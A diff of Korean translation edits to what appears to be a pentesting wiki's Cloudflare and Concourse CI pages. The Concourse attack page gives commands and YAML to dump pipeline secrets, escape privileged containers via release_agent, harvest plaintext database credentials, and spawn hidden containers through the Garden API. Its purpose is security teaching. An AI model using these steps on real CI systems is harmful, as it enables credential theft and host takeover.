섹션에서 **CSAM 스캐닝 도구**를 활성화하는 것을 고려하세요. ### **워커 경로** @@ -102,8 +102,8 @@ TODO ### 네트워크 - [ ] **`HTTP/2`**가 **활성화**되어 있다면, **`HTTP/2 to Origin`**도 **활성화**되어야 합니다. -- [ ] **`HTTP/3 (with QUIC)`**가 **활성화**되어야 합니다. -- **사용자**의 **프라이버시**가 중요하다면 **`Onion Routing`**이 **활성화**되어 있는지 확인하세요. +- [ ] **`HTTP/3 (QUIC 사용)`**이 **활성화**되어야 합니다. +- [ ] **사용자**의 **개인정보**가 중요하다면 **`온ion 라우팅`**이 **활성화**되어 있는지 확인하세요. ### **트래픽** @@ -111,18 +111,18 @@ TODO ### 사용자 정의 페이지 -- [ ] 보안과 관련된 오류가 발생할 때 사용자 정의 페이지를 구성하는 것은 선택 사항입니다 (예: 차단, rate limiting 또는 공격 중 모드). +- [ ] 보안과 관련된 오류가 발생할 때 사용자 정의 페이지를 구성하는 것은 선택 사항입니다 (예: 차단, 속도 제한 또는 공격 중 모드). ### 앱 TODO -### 스크랩 방지 +### 스크랩 방패 - [ ] **이메일 주소 난독화**가 **활성화**되어 있는지 확인하세요. - [ ] **서버 측 제외**가 **활성화**되어 있는지 확인하세요. -### **Zaraz** +### **자라즈** TODO diff --git a/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md b/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md index f90c6ce32..468095c84 100644 --- a/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md +++ b/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md @@ -2,43 +2,43 @@ {{#include ../../banners/hacktricks-training.md}} -In a **Cloudflare Zero Trust Network** account there are some **settings and services** that can be configured. In this page we are going to **analyze the security related settings of each section:** +**Cloudflare Zero Trust Network** 계정에는 구성할 수 있는 **설정 및 서비스**가 있습니다. 이 페이지에서는 각 섹션의 **보안 관련 설정**을 **분석**할 것입니다:
### Analytics -- [ ] 유용한 **환경을 이해하기 위해** +- [ ] 환경을 **알아가는 데 유용함** ### **Gateway** - [ ] **`Policies`**에서 **DNS**, **네트워크** 또는 **HTTP** 요청에 따라 애플리케이션에 접근할 수 있는 사람을 **제한**하는 정책을 생성할 수 있습니다. - 사용되는 경우, 악성 사이트에 대한 접근을 **제한**하는 정책을 생성할 수 있습니다. -- 이는 **게이트웨이를 사용하는 경우에만 관련이 있으며**, 사용하지 않는 경우 방어 정책을 생성할 이유가 없습니다. +- 이는 **게이트웨이를 사용하는 경우에만 관련이 있으며**, 그렇지 않으면 방어 정책을 생성할 이유가 없습니다. ### Access #### Applications -On each application: +각 애플리케이션에서: -- [ ] **누가** 애플리케이션에 접근할 수 있는지 **Policies**에서 확인하고, **오직** 애플리케이션에 **접근이 필요한 사용자**만 접근할 수 있는지 확인합니다. -- 접근을 허용하기 위해 **`Access Groups`**가 사용될 것이며 (**추가 규칙**도 설정할 수 있습니다) -- [ ] **사용 가능한 아이덴티티 제공자**를 확인하고, 너무 **열려 있지 않은지** 확인합니다. +- [ ] **누가** 애플리케이션에 접근할 수 있는지 **Policies**에서 확인하고, **접근이 필요한 사용자만** 애플리케이션에 접근할 수 있도록 확인합니다. +- 접근을 허용하기 위해 **`Access Groups`**가 사용될 것이며 (**추가 규칙**도 설정할 수 있음) +- [ ] **사용 가능한 아이덴티티 제공자**를 확인하고 **너무 개방적이지 않은지** 확인합니다. - [ ] **`Settings`**에서: -- [ ] **CORS가 활성화되어 있지 않은지** 확인합니다 (활성화되어 있다면, **안전한지** 확인하고 모든 것을 허용하지 않는지 확인합니다) -- [ ] 쿠키는 **Strict Same-Site** 속성을 가져야 하며, **HTTP Only**와 **binding cookie**는 애플리케이션이 HTTP인 경우 **활성화**되어야 합니다. +- [ ] **CORS가 활성화되지 않았는지** 확인합니다 (활성화된 경우, **안전한지** 확인하고 모든 것을 허용하지 않는지 확인합니다). +- [ ] 쿠키는 **Strict Same-Site** 속성을 가져야 하며, **HTTP Only** 및 **binding cookie**는 애플리케이션이 HTTP인 경우 **활성화**되어야 합니다. - [ ] 더 나은 **보호를 위해** **Browser rendering**도 활성화하는 것을 고려합니다. **자세한 정보는** [**원격 브라우저 격리 여기**](https://blog.cloudflare.com/cloudflare-and-remote-browser-isolation/)**에서 확인하세요.** #### **Access Groups** -- [ ] 생성된 접근 그룹이 **허용해야 할 사용자**에 **올바르게 제한**되어 있는지 확인합니다. -- [ ] **기본 접근 그룹이 너무 열려 있지 않은지** 확인하는 것이 특히 중요합니다 (너무 많은 사람을 **허용하지 않음**) 기본적으로 해당 **그룹**의 누구나 **애플리케이션에 접근**할 수 있습니다. -- **EVERYONE**에게 **접근**을 허용하거나 다른 **매우 열린 정책**을 부여하는 것이 가능하지만, 100% 필요하지 않는 한 권장되지 않습니다. +- [ ] 생성된 접근 그룹이 **사용자에게 올바르게 제한**되어 있는지 확인합니다. +- [ ] **기본 접근 그룹이 너무 개방적이지 않은지** 확인하는 것이 특히 중요합니다 (너무 많은 사람을 **허용하지 않음**) 기본적으로 해당 **그룹**의 모든 사람이 **애플리케이션에 접근**할 수 있습니다. +- **모두**에게 **접근**을 허용하거나 **매우 개방적인 정책**을 설정하는 것이 가능하지만, 100% 필요하지 않는 한 권장되지 않습니다. #### Service Auth -- [ ] 모든 서비스 토큰이 **1년 이하**에 만료되는지 확인합니다. +- [ ] 모든 서비스 토큰이 **1년 이하**로 만료되는지 확인합니다. #### Tunnels @@ -56,6 +56,6 @@ TODO - [ ] **플랜 유형**을 확인합니다. - [ ] **신용 카드 소유자 이름**, **마지막 4자리**, **만료** 날짜 및 **주소**를 확인할 수 있습니다. -- 실제로 이 서비스를 사용하지 않는 사용자를 제거하기 위해 **사용자 좌석 만료**를 추가하는 것이 권장됩니다. +- **이 서비스를 실제로 사용하지 않는** 사용자를 제거하기 위해 **User Seat Expiration**을 **추가하는 것이 권장됩니다.** {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-ci-cd/concourse-security/README.md b/src/pentesting-ci-cd/concourse-security/README.md index 27558045e..f7b1305bc 100644 --- a/src/pentesting-ci-cd/concourse-security/README.md +++ b/src/pentesting-ci-cd/concourse-security/README.md @@ -14,7 +14,7 @@ Concourse 환경이 어떻게 구조화되어 있는지 알아보세요: concourse-architecture.md {{#endref}} -## Concourse 실습 +## Concourse 실험실 자신의 테스트를 수행하기 위해 로컬에서 concourse 환경을 실행하는 방법을 알아보세요: diff --git a/src/pentesting-ci-cd/concourse-security/concourse-architecture.md b/src/pentesting-ci-cd/concourse-security/concourse-architecture.md index de1f298f9..346e47d61 100644 --- a/src/pentesting-ci-cd/concourse-security/concourse-architecture.md +++ b/src/pentesting-ci-cd/concourse-security/concourse-architecture.md @@ -14,13 +14,13 @@ ATC는 Concourse의 핵심입니다. **웹 UI 및 API**를 실행하며 모든 파이프라인 **스케줄링**을 담당합니다. **PostgreSQL**에 연결되어 파이프라인 데이터를 저장하는 데 사용합니다(빌드 로그 포함). -[체커](https://concourse-ci.org/checker.html)의 책임은 리소스의 새로운 버전을 지속적으로 확인하는 것입니다. [스케줄러](https://concourse-ci.org/scheduler.html)는 작업에 대한 빌드를 스케줄링하는 책임이 있으며, [빌드 트래커](https://concourse-ci.org/build-tracker.html)는 예약된 빌드를 실행하는 책임이 있습니다. [가비지 컬렉터](https://concourse-ci.org/garbage-collector.html)는 사용되지 않거나 오래된 객체(예: 컨테이너 및 볼륨)를 제거하는 정리 메커니즘입니다. +[체커](https://concourse-ci.org/checker.html)의 책임은 리소스의 새로운 버전을 지속적으로 확인하는 것입니다. [스케줄러](https://concourse-ci.org/scheduler.html)는 작업에 대한 빌드를 스케줄링하는 책임이 있으며, [빌드 트래커](https://concourse-ci.org/build-tracker.html)는 예약된 빌드를 실행하는 책임이 있습니다. [가비지 컬렉터](https://concourse-ci.org/garbage-collector.html)는 사용되지 않거나 오래된 객체(컨테이너 및 볼륨 등)를 제거하는 정리 메커니즘입니다. #### TSA: 워커 등록 및 포워딩 -TSA는 **워커**를 [**ATC**](https://concourse-ci.org/internals.html#component-atc)와 안전하게 **등록**하는 데만 사용되는 **맞춤형 SSH 서버**입니다. +TSA는 **워커**를 [**ATC**](https://concourse-ci.org/internals.html#component-atc)와 안전하게 **등록**하는 데만 사용되는 **커스텀 SSH 서버**입니다. -TSA는 **기본적으로 포트 `2222`**에서 수신 대기하며, 일반적으로 [ATC](https://concourse-ci.org/internals.html#component-atc)와 함께 배치되고 로드 밸런서 뒤에 위치합니다. +TSA는 **기본적으로 포트 `2222`에서 수신 대기**하며, 일반적으로 [ATC](https://concourse-ci.org/internals.html#component-atc)와 함께 colocated되어 로드 밸런서 뒤에 위치합니다. **TSA는 SSH 연결을 통해 CLI를 구현하며,** [**이 명령어들**](https://concourse-ci.org/internals.html#component-tsa)을 지원합니다. diff --git a/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md b/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md index dbcf61500..3c9e73a27 100644 --- a/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md +++ b/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md @@ -4,18 +4,18 @@ {{#include ../../banners/hacktricks-training.md}} -### 사용자 역할 및 권한 +### User Roles & Permissions Concourse는 다섯 가지 역할을 제공합니다: -- _Concourse_ **Admin**: 이 역할은 **주 팀**(기본 초기 concourse 팀)의 소유자에게만 부여됩니다. 관리자는 **다른 팀을 구성**할 수 있습니다(예: `fly set-team`, `fly destroy-team`...). 이 역할의 권한은 RBAC에 의해 영향을 받을 수 없습니다. +- _Concourse_ **Admin**: 이 역할은 **주 팀**(기본 초기 concourse 팀)의 소유자에게만 부여됩니다. Admin은 **다른 팀을 구성**할 수 있습니다 (예: `fly set-team`, `fly destroy-team`...). 이 역할의 권한은 RBAC에 의해 영향을 받을 수 없습니다. - **owner**: 팀 소유자는 **팀 내 모든 것을 수정**할 수 있습니다. - **member**: 팀 구성원은 **팀 자산 내에서 읽고 쓸 수** 있지만 팀 설정을 수정할 수는 없습니다. - **pipeline-operator**: 파이프라인 운영자는 빌드를 트리거하고 리소스를 고정하는 등의 **파이프라인 작업**을 수행할 수 있지만, 파이프라인 구성을 업데이트할 수는 없습니다. - **viewer**: 팀 뷰어는 팀과 그 파이프라인에 대해 **"읽기 전용" 접근** 권한을 가집니다. > [!NOTE] -> 또한, **owner, member, pipeline-operator 및 viewer 역할의 권한은 RBAC를 구성하여 수정할 수 있습니다**(더 구체적으로는 그 행동을 구성합니다). 이에 대한 자세한 내용은: [https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html)에서 확인하세요. +> 또한, **owner, member, pipeline-operator 및 viewer 역할의 권한은 RBAC를 구성하여 수정할 수 있습니다** (더 구체적으로는 그 행동을 구성합니다). 이에 대한 자세한 내용은: [https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html)에서 확인하세요. Concourse는 **팀 내에서 파이프라인을 그룹화**합니다. 따라서 팀에 속한 사용자는 해당 파이프라인을 관리할 수 있으며 **여러 팀**이 존재할 수 있습니다. 사용자는 여러 팀에 속할 수 있으며 각 팀 내에서 다른 권한을 가질 수 있습니다. @@ -23,7 +23,7 @@ Concourse는 **팀 내에서 파이프라인을 그룹화**합니다. 따라서 YAML 구성에서 `((_source-name_:_secret-path_._secret-field_))` 구문을 사용하여 값을 구성할 수 있습니다.\ [문서에서:] (https://concourse-ci.org/vars.html#var-syntax) **source-name은 선택 사항**이며 생략할 경우 [클러스터 전체 자격 증명 관리자](https://concourse-ci.org/vars.html#cluster-wide-credential-manager)가 사용되거나 값이 [정적으로](https://concourse-ci.org/vars.html#static-vars) 제공될 수 있습니다.\ -**선택적 \_secret-field**는 가져온 비밀에서 읽을 필드를 지정합니다. 생략할 경우, 자격 증명 관리자는 필드가 존재하는 경우 가져온 자격 증명에서 '기본 필드'를 읽도록 선택할 수 있습니다.\ +**선택적 \_secret-field**\_는 가져온 비밀에서 읽을 필드를 지정합니다. 생략할 경우, 자격 증명 관리자는 필드가 존재하는 경우 가져온 자격 증명에서 '기본 필드'를 읽도록 선택할 수 있습니다.\ 또한, _**secret-path**_ 및 _**secret-field**_는 `.` 및 `:`와 같은 **특수 문자를 포함**하는 경우 이중 따옴표 `"..."`로 둘러싸일 수 있습니다. 예를 들어, `((source:"my.secret"."field:1"))`는 _secret-path_를 `my.secret`로, _secret-field_를 `field:1`로 설정합니다. #### Static Vars @@ -34,16 +34,16 @@ YAML 구성에서 `((_source-name_:_secret-path_._secret-field_))` 구문을 사 file: booklit/ci/unit.yml vars: { tag: 1.13 } ``` -Or using the following `fly` **arguments**: +다음 `fly` **인수**를 사용하거나: -- `-v` or `--var` `NAME=VALUE`는 문자열 `VALUE`를 var `NAME`의 값으로 설정합니다. -- `-y` or `--yaml-var` `NAME=VALUE`는 `VALUE`를 YAML로 파싱하고 var `NAME`의 값으로 설정합니다. -- `-i` or `--instance-var` `NAME=VALUE`는 `VALUE`를 YAML로 파싱하고 인스턴스 var `NAME`의 값으로 설정합니다. 인스턴스 var에 대해 더 알아보려면 [Grouping Pipelines](https://concourse-ci.org/instanced-pipelines.html)를 참조하세요. -- `-l` or `--load-vars-from` `FILE`는 var 이름과 값을 매핑하는 YAML 문서인 `FILE`을 로드하고 모두 설정합니다. +- `-v` 또는 `--var` `NAME=VALUE`는 문자열 `VALUE`를 var `NAME`의 값으로 설정합니다. +- `-y` 또는 `--yaml-var` `NAME=VALUE`는 `VALUE`를 YAML로 파싱하고 var `NAME`의 값으로 설정합니다. +- `-i` 또는 `--instance-var` `NAME=VALUE`는 `VALUE`를 YAML로 파싱하고 인스턴스 var `NAME`의 값으로 설정합니다. 인스턴스 var에 대해 더 알아보려면 [Grouping Pipelines](https://concourse-ci.org/instanced-pipelines.html)를 참조하세요. +- `-l` 또는 `--load-vars-from` `FILE`는 var 이름과 값을 매핑하는 YAML 문서인 `FILE`을 로드하고 모두 설정합니다. -#### Credential Management +#### 자격 증명 관리 -파이프라인에서 **Credential Manager를 지정하는 방법**은 여러 가지가 있으며, [https://concourse-ci.org/creds.html](https://concourse-ci.org/creds.html)에서 읽어보세요.\ +파이프라인에서 **자격 증명 관리자를 지정하는 방법**은 여러 가지가 있으며, [https://concourse-ci.org/creds.html](https://concourse-ci.org/creds.html)에서 읽어보세요.\ 또한, Concourse는 다양한 자격 증명 관리자를 지원합니다: - [The Vault credential manager](https://concourse-ci.org/vault-credential-manager.html) @@ -57,13 +57,13 @@ Or using the following `fly` **arguments**: - [Retrying failed fetches](https://concourse-ci.org/creds-retry-logic.html) > [!CAUTION] -> Concourse에 **쓰기 권한**이 있는 경우, Concourse가 해당 비밀에 접근할 수 있어야 하므로 **이 비밀을 유출하는 작업을 생성할 수 있습니다**. +> Concourse에 **쓰기 권한**이 있는 경우, **이 비밀을 유출하는 작업을 생성할 수** 있음을 유의하세요. Concourse는 이를 접근할 수 있어야 합니다. -### Concourse Enumeration +### Concourse 열거 -Concourse 환경을 열거하기 위해서는 먼저 **유효한 자격 증명**을 수집하거나 `.flyrc` 구성 파일에서 **인증된 토큰**을 찾아야 합니다. +Concourse 환경을 열거하려면 먼저 **유효한 자격 증명**을 수집하거나 `.flyrc` 구성 파일에서 **인증된 토큰**을 찾아야 합니다. -#### Login and Current User enum +#### 로그인 및 현재 사용자 열거 - 로그인하려면 **엔드포인트**, **팀 이름**(기본값은 `main`) 및 **사용자가 속한 팀**을 알아야 합니다: - `fly --target example login --team-name my-team --concourse-url https://ci.example.com [--insecure] [--client-cert=./path --client-key=./path]` @@ -75,9 +75,9 @@ Concourse 환경을 열거하기 위해서는 먼저 **유효한 자격 증명** - `fly -t userinfo` > [!NOTE] -> **API 토큰**은 기본적으로 `$HOME/.flyrc`에 **저장**되므로, 기계를 훔치는 경우 자격 증명을 거기서 찾을 수 있습니다. +> **API 토큰**은 기본적으로 `$HOME/.flyrc`에 **저장**되므로, 기계를 훔치는 경우 자격 증명을 찾을 수 있습니다. -#### Teams & Users +#### 팀 및 사용자 - 팀 목록 가져오기 - `fly -t teams` @@ -86,11 +86,11 @@ Concourse 환경을 열거하기 위해서는 먼저 **유효한 자격 증명** - 사용자 목록 가져오기 - `fly -t active-users` -#### Pipelines +#### 파이프라인 -- **파이프라인 목록**: +- **파이프라인** 목록: - `fly -t pipelines -a` -- **파이프라인 yaml 가져오기** (**민감한 정보**가 정의에 있을 수 있음): +- 파이프라인 yaml **가져오기** (**민감한 정보**가 정의에 있을 수 있음): - `fly -t get-pipeline -p ` - 모든 파이프라인 **구성 선언된 var** 가져오기 - `for pipename in $(fly -t pipelines | grep -Ev "^id" | awk '{print $2}'); do echo $pipename; fly -t get-pipeline -p $pipename -j | grep -Eo '"vars":[^}]+'; done` @@ -129,7 +129,7 @@ rm /tmp/secrets.txt #### 실행 중이거나 최근에 실행된 컨테이너 내 세션 -충분한 권한(**회원 역할 이상**)이 있는 경우, **파이프라인 및 역할**을 **목록화**하고 `/` **컨테이너 내에서 세션을 얻을 수 있습니다**: +충분한 권한(**회원 역할 이상**)이 있는 경우, **파이프라인 및 역할**을 **목록화**하고 `/` **컨테이너** 내에서 **세션을 얻을 수** 있습니다: ```bash fly -t tutorial intercept --job pipeline-name/job-name fly -t tutorial intercept # To be presented a prompt with all the options @@ -137,12 +137,12 @@ fly -t tutorial intercept # To be presented a prompt with all the options 이 권한으로 다음을 수행할 수 있습니다: - **컨테이너** 내부의 **비밀**을 **훔치기** -- **노드**로 **탈출** 시도하기 -- **클라우드 메타데이터** 엔드포인트 열거/악용하기 (가능한 경우 포드와 노드에서) +- **노드**로 **탈출** 시도 +- **클라우드 메타데이터** 엔드포인트 열거/악용 (가능한 경우 포드와 노드에서) #### 파이프라인 생성/수정 -충분한 권한(**회원 역할 이상**)이 있다면 **새 파이프라인을 생성/수정**할 수 있습니다. 이 예제를 확인하세요: +충분한 권한(**회원 역할 이상**)이 있으면 **새 파이프라인을 생성/수정**할 수 있습니다. 이 예제를 확인하세요: ```yaml jobs: - name: simple @@ -166,16 +166,16 @@ sleep 1000 params: SUPER_SECRET: ((super.secret)) ``` -새 파이프라인의 **수정/생성**을 통해 다음을 수행할 수 있습니다: +새로운 파이프라인의 **수정/생성**을 통해 다음을 수행할 수 있습니다: - **비밀**을 **훔치기** (출력하거나 컨테이너에 들어가서 `env` 실행) -- **노드**로 **탈출**하기 (충분한 권한 부여 - `privileged: true`) +- **노드**로 **탈출** (충분한 권한 부여 - `privileged: true`) - **클라우드 메타데이터** 엔드포인트 열거/악용 (파드와 노드에서) - 생성된 파이프라인 **삭제** #### 사용자 정의 작업 실행 -이것은 이전 방법과 유사하지만 전체 새 파이프라인을 수정/생성하는 대신 **사용자 정의 작업을 실행**할 수 있습니다 (아마도 훨씬 더 **은밀할** 것입니다): +이것은 이전 방법과 유사하지만 전체 새로운 파이프라인을 수정/생성하는 대신 **사용자 정의 작업을 실행**할 수 있습니다 (아마도 훨씬 더 **은밀할** 것입니다): ```yaml # For more task_config options check https://concourse-ci.org/tasks.html platform: linux @@ -260,7 +260,7 @@ sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs" cat /output ``` > [!WARNING] -> 당신이 알다시피, 이것은 단순히 [**정상적인 release_agent 탈출**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/concourse-security/broken-reference/README.md)로, 노드의 cmd 경로를 수정하는 것입니다. +> 당신이 알다시피, 이것은 단순히 [**정상적인 release_agent 탈출**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/concourse-security/broken-reference/README.md)로, 노드의 cmd 경로만 수정한 것입니다. #### Worker 컨테이너에서 노드로 탈출하기 @@ -293,7 +293,7 @@ cat /output ``` #### Web 컨테이너에서 노드로 탈출하기 -웹 컨테이너에 일부 방어가 비활성화되어 있더라도 **일반적인 특권 컨테이너로 실행되지 않습니다** (예를 들어, **마운트**할 수 없고 **권한**이 매우 **제한적이어서**, 컨테이너에서 탈출하는 쉬운 방법들은 무용지물입니다). +웹 컨테이너에 일부 방어가 비활성화되어 있더라도 **일반적인 특권 컨테이너로 실행되지 않습니다** (예를 들어, **마운트**할 수 없고 **권한**이 매우 **제한적이어서**, 컨테이너에서 탈출하는 쉬운 방법들은 쓸모가 없습니다). 그러나 **로컬 자격 증명을 평문으로 저장합니다**: ```bash @@ -306,7 +306,7 @@ CONCOURSE_ADD_LOCAL_USER=test:test ``` 해당 자격 증명을 사용하여 **웹 서버에 로그인**하고 **특권 컨테이너를 생성하여 노드로 탈출**할 수 있습니다. -환경에서는 concourse가 사용하는 **postgresql** 인스턴스에 접근할 수 있는 정보(주소, **사용자 이름**, **비밀번호** 및 데이터베이스 등)를 찾을 수도 있습니다: +환경에서는 concourse가 사용하는 **postgresql** 인스턴스에 접근하기 위한 정보(주소, **사용자 이름**, **비밀번호** 및 데이터베이스 등)를 찾을 수 있습니다: ```bash env | grep -i postg CONCOURSE_RELEASE_POSTGRESQL_PORT_5432_TCP_ADDR=10.107.191.238 @@ -327,15 +327,15 @@ select * from refresh_token; select * from teams; #Change the permissions of the users in the teams select * from users; ``` -#### 가든 서비스 남용 - 실제 공격이 아님 +#### 가든 서비스 악용 - 실제 공격이 아님 > [!WARNING] -> 이들은 서비스에 대한 흥미로운 메모일 뿐이지만, 로컬호스트에서만 수신 대기하므로, 이 메모는 우리가 이미 이용한 것 외에 어떤 영향도 미치지 않을 것입니다. +> 이 서비스에 대한 흥미로운 메모일 뿐이며, 로컬호스트에서만 수신 대기하므로 이 메모는 우리가 이미 이용한 것 외에 어떤 영향도 미치지 않을 것입니다. -기본적으로 각 concourse 작업자는 포트 7777에서 [**Garden**](https://github.com/cloudfoundry/garden) 서비스를 실행합니다. 이 서비스는 웹 마스터가 작업자에게 **실행해야 할 작업**(이미지를 다운로드하고 각 작업을 실행)을 지시하는 데 사용됩니다. 이는 공격자에게 꽤 좋은 소리처럼 들리지만, 몇 가지 좋은 보호 장치가 있습니다: +기본적으로 각 concourse 작업자는 포트 7777에서 [**Garden**](https://github.com/cloudfoundry/garden) 서비스를 실행합니다. 이 서비스는 웹 마스터가 작업자에게 **실행해야 할 작업**(이미지를 다운로드하고 각 작업을 실행)을 지시하는 데 사용됩니다. 공격자에게는 꽤 좋은 소리지만, 몇 가지 좋은 보호 장치가 있습니다: -- **로컬에서만 노출**되어 있으며(127..0.0.1), 작업자가 특별한 SSH 서비스로 웹에 인증할 때, 웹 서버가 각 작업자 내부의 **각 Garden 서비스**와 **통신**할 수 있도록 터널이 생성된다고 생각합니다. -- 웹 서버는 **몇 초마다 실행 중인 컨테이너를 모니터링**하며, **예상치 못한** 컨테이너는 **삭제**됩니다. 따라서 **사용자 정의 컨테이너**를 **실행**하려면 웹 서버와 가든 서비스 간의 **통신**을 **변조**해야 합니다. +- **로컬에서만 노출**되어 있으며(127..0.0.1), 작업자가 특별한 SSH 서비스로 웹에 인증할 때 터널이 생성되어 웹 서버가 각 작업자 내부의 **각 Garden 서비스와 대화할 수 있습니다**. +- 웹 서버는 **몇 초마다 실행 중인 컨테이너를 모니터링**하며, **예상치 못한** 컨테이너는 **삭제**됩니다. 따라서 **사용자 정의 컨테이너를 실행**하려면 웹 서버와 가든 서비스 간의 **통신**을 **변조**해야 합니다. Concourse 작업자는 높은 컨테이너 권한으로 실행됩니다: ``` @@ -348,7 +348,7 @@ Capabilities: BOUNDING -> chown dac_override dac_read_search fowner fsetid kill setgid setuid setpcap linux_immutable net_bind_service net_broadcast net_admin net_raw ipc_lock ipc_owner sys_module sys_rawio sys_chroot sys_ptrace sys_pacct sys_admin sys_boot sys_nice sys_resource sys_time sys_tty_config mknod lease audit_write audit_control setfcap mac_override mac_admin syslog wake_alarm block_suspend audit_read Seccomp: disabled ``` -그러나 노드의 /dev 장치나 release_agent를 **마운트하는** 것과 같은 기술은 **작동하지 않습니다** (노드의 파일 시스템이 있는 실제 장치에 접근할 수 없고, 오직 가상 장치만 있습니다). 우리는 노드의 프로세스에 접근할 수 없으므로, 커널 익스플로잇 없이 노드에서 탈출하는 것은 복잡해집니다. +그러나 노드의 /dev 장치나 release_agent를 **마운트**하는 것과 같은 기술은 **작동하지 않습니다** (노드의 파일 시스템을 가진 실제 장치에 접근할 수 없고, 오직 가상 장치만 접근할 수 있습니다). 우리는 노드의 프로세스에 접근할 수 없으므로, 커널 익스플로잇 없이 노드에서 탈출하는 것은 복잡해집니다. > [!NOTE] > 이전 섹션에서는 특권 컨테이너에서 탈출하는 방법을 보았으므로, **현재** **작업자**가 생성한 **특권 컨테이너**에서 명령을 **실행**할 수 있다면, **노드로 탈출**할 수 있습니다. @@ -387,7 +387,7 @@ wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"], --header='Content-Type:application/json' \ 'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes' ``` -그러나 웹 서버는 몇 초마다 실행 중인 컨테이너를 확인하고, 예상치 못한 컨테이너가 발견되면 삭제됩니다. 통신이 HTTP로 이루어지기 때문에, 예상치 못한 컨테이너의 삭제를 피하기 위해 통신을 변조할 수 있습니다: +그러나 웹 서버는 몇 초마다 실행 중인 컨테이너를 확인하고, 예상치 못한 컨테이너가 발견되면 삭제됩니다. 통신이 HTTP로 이루어지기 때문에 예상치 못한 컨테이너의 삭제를 피하기 위해 통신을 조작할 수 있습니다: ``` GET /containers HTTP/1.1. Host: 127.0.0.1:7777. diff --git a/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md b/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md index 5092cacef..7e15359ed 100644 --- a/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md +++ b/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md @@ -13,11 +13,11 @@ wget https://raw.githubusercontent.com/starkandwayne/concourse-tutorial/master/docker-compose.yml docker-compose up -d ``` -`127.0.0.1:8080`에서 귀하의 OS에 맞는 명령줄 `fly`를 다운로드할 수 있습니다. +당신은 웹에서 `127.0.0.1:8080`에서 자신의 OS에 맞는 명령줄 `fly`를 다운로드할 수 있습니다. #### Kubernetes를 사용하여 (권장) -헬름 차트를 사용하여 **Kubernetes**(예: **minikube**)에 concourse를 쉽게 배포할 수 있습니다: [**concourse-chart**](https://github.com/concourse/concourse-chart). +당신은 helm-chart를 사용하여 **Kubernetes**(예: **minikube**)에 concourse를 쉽게 배포할 수 있습니다: [**concourse-chart**](https://github.com/concourse/concourse-chart). ```bash brew install helm helm repo add concourse https://concourse-charts.storage.googleapis.com/ @@ -28,7 +28,7 @@ helm install concourse-release concourse/concourse # If you need to delete it helm delete concourse-release ``` -concourse 환경을 생성한 후, 비밀을 생성하고 concourse 웹에서 실행 중인 SA에 K8s 비밀에 접근할 수 있는 권한을 부여할 수 있습니다: +concourse 환경을 생성한 후, 비밀을 생성하고 concourse 웹에서 실행 중인 SA가 K8s 비밀에 접근할 수 있도록 권한을 부여할 수 있습니다: ```yaml echo 'apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole @@ -69,25 +69,25 @@ secret: MWYyZDFlMmU2N2Rm ``` ### 파이프라인 생성 -파이프라인은 [작업](https://concourse-ci.org/jobs.html)의 목록으로 구성되며, 여기에는 [단계](https://concourse-ci.org/steps.html)의 정렬된 목록이 포함됩니다. +파이프라인은 [Jobs](https://concourse-ci.org/jobs.html)의 목록으로 구성되며, 여기에는 [Steps](https://concourse-ci.org/steps.html)의 순서가 있는 목록이 포함됩니다. ### 단계 -여러 가지 유형의 단계를 사용할 수 있습니다: +여러 가지 유형의 단계가 사용될 수 있습니다: -- **the** [**`task` 단계**](https://concourse-ci.org/task-step.html) **는** [**작업**](https://concourse-ci.org/tasks.html)을 실행합니다. -- the [`get` 단계](https://concourse-ci.org/get-step.html)는 [리소스](https://concourse-ci.org/resources.html)를 가져옵니다. -- the [`put` 단계](https://concourse-ci.org/put-step.html)는 [리소스](https://concourse-ci.org/resources.html)를 업데이트합니다. -- the [`set_pipeline` 단계](https://concourse-ci.org/set-pipeline-step.html)는 [파이프라인](https://concourse-ci.org/pipelines.html)을 구성합니다. -- the [`load_var` 단계](https://concourse-ci.org/load-var-step.html)는 값을 [로컬 변수](https://concourse-ci.org/vars.html#local-vars)에 로드합니다. -- the [`in_parallel` 단계](https://concourse-ci.org/in-parallel-step.html)는 단계를 병렬로 실행합니다. -- the [`do` 단계](https://concourse-ci.org/do-step.html)는 단계를 순차적으로 실행합니다. -- the [`across` 단계 수정자](https://concourse-ci.org/across-step.html#schema.across)는 변수가 있는 값의 조합마다 한 번씩 단계를 여러 번 실행합니다. -- the [`try` 단계](https://concourse-ci.org/try-step.html)는 단계를 실행하려고 시도하며, 단계가 실패하더라도 성공합니다. +- **the** [**`task` step**](https://concourse-ci.org/task-step.html) **는** [**task**](https://concourse-ci.org/tasks.html)를 실행합니다. +- the [`get` step](https://concourse-ci.org/get-step.html)는 [resource](https://concourse-ci.org/resources.html)를 가져옵니다. +- the [`put` step](https://concourse-ci.org/put-step.html)는 [resource](https://concourse-ci.org/resources.html)를 업데이트합니다. +- the [`set_pipeline` step](https://concourse-ci.org/set-pipeline-step.html)는 [pipeline](https://concourse-ci.org/pipelines.html)을 구성합니다. +- the [`load_var` step](https://concourse-ci.org/load-var-step.html)는 값을 [local var](https://concourse-ci.org/vars.html#local-vars)에 로드합니다. +- the [`in_parallel` step](https://concourse-ci.org/in-parallel-step.html)는 단계를 병렬로 실행합니다. +- the [`do` step](https://concourse-ci.org/do-step.html)는 단계를 순차적으로 실행합니다. +- the [`across` step modifier](https://concourse-ci.org/across-step.html#schema.across)는 변수가 있는 값의 